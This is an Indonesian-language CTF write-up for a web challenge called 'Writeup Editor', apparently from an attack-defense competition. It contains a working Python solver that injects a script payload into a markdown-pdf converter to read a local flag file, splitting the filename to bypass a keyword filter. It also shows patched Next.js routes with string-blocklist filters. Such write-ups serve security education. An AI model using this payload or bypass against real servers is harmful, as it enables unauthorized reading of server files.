Web Exploitation

ChallengeLink

Writeup Editor

Writeup Editor

Description

-

PoC

Exploit

Scan dengan snyk test untuk dependency yang digunakan

Diketahui terdapat bug pada library markdown-pdf. Lakukan exploit dengan memanfaatkan payload dari https://security.snyk.io/vuln/SNYK-JS-MARKDOWNPDF-5411358 . Untuk bypass flag.txt ckup gunakan variable untuk menyimpan part dari string “flag.txt” . Berikut solver yang kami gunakan

#!/usr/bin/env python3

import requests
from PyPDF2 import PdfReader 
import sys
import os
import uuid


id_val = uuid.uuid4()
tmp = id_val.urn
uuu = tmp.split(":")[-1]
ip = sys.argv[1]
dicc = {'10.0.0.4': 'Team #1', '10.0.0.5': 'Team #2', '10.0.0.6': 'Team #3', '10.2.0.3': 'Team #4', '10.2.0.4': 'Team #5', '10.2.0.5': 'Team #6', '10.2.0.6': 'Team #7', '10.2.0.7': 'Team #8', '10.2.0.8': 'Team #9', '10.2.0.9': 'Team #10', '10.2.0.10': 'Team #11', '10.2.0.11': 'Team #12', '10.2.0.12': 'Team #13', '10.2.0.13': 'Team #14', '10.2.0.14': 'Team #15'}

burp0_url = f"http://{ip}:50006/api/save"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://10.0.0.4:50006", "Referer": "http://10.0.0.4:50006/code/d16d1183-4018-4c66-8ac7-7196b82f37f9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_json={"code": "<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};var z = \"/flag/fl\";var zz=\"ag.txt\";x.open(\"GET\",\"file:///\"+z+zz);x.send();</script>", "target": "code/" + uuu}
resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
# print(dir(resp))
# print(resp.content/)

burp0_url = f"http://{ip}:50006/api/convert?source=code/{uuu}"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://10.0.0.4:50006/code/d16d1183-4018-4c66-8ac7-7196b82f37f9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
resp = requests.get(burp0_url, headers=burp0_headers)

out = open(f"lol{dicc[ip]}.pdf","wb")
out.write(resp.content)
out.close()
reader = PdfReader(f'lol{dicc[ip]}.pdf') 
page = reader.pages[0] 
  
text = page.extract_text() 
print(text, flush=True) 

Patching

Kami melakukan patching dengan mereplace string script, <iframe, dan on pada convert dan save

convert.ts

// Next.js API route support: https://nextjs.org/docs/api-routes/introduction
import { securityCheck } from '@/utils';
import type { NextApiRequest, NextApiResponse } from 'next'
import * as fs from "node:fs";

export default function handler(
  req: NextApiRequest,
  res: NextApiResponse
) {
  var dataSource = req.body;
  if (req.method === "GET") dataSource = req.query;
  
  securityCheck([dataSource], [':"code/'], ['..', 'flag.txt']);
  if (dataSource.source === "" || dataSource.source === undefined) {
    return res.status(400).json({ status: 'failed', message: 'source cannot be empty.' });
  }
  // dataSource.code = req.body.code.replaceAll('script', "_").replaceAll("<iframe", "_").replaceAll("on", "_")
  const markdownpdf = require("markdown-pdf")
  const contentStream = fs.createReadStream(dataSource.source);
  res.writeHead(200, {
    'Content-Type': 'application/pdf',
    'content-disposition': `attachment; filename="${dataSource.source}.pdf"`,
  });

  contentStream
    .pipe(markdownpdf({remarkable: {preset: 'commonmark'}}))
    .pipe(res);
}

save.ts

// Next.js API route support: https://nextjs.org/docs/api-routes/introduction
import { securityCheck } from '@/utils';
import type { NextApiRequest, NextApiResponse } from 'next'
import * as fs from "node:fs";

type Data = {
  status: string,
  message: string,
}

export default function handler(
  req: NextApiRequest,
  res: NextApiResponse<Data>
) {
  securityCheck([req.body], [':"code/'], ['..', 'flag.txt', '"target":"/']);
  if (req.body.code === undefined || req.body.target === "" || req.body.target === undefined) {
    return res.status(400).json({ status: 'failed', message: 'code or target cannot be empty.' });
  }
  req.body.code = req.body.code.replaceAll('<script', "_").replaceAll("<iframe", "_")

  const targetStream = fs.createWriteStream(req.body.target);
  targetStream.write(req.body.code);
  targetStream.end();
  return res.status(200).json({ status: 'success', message: 'success.' });
}

Last updated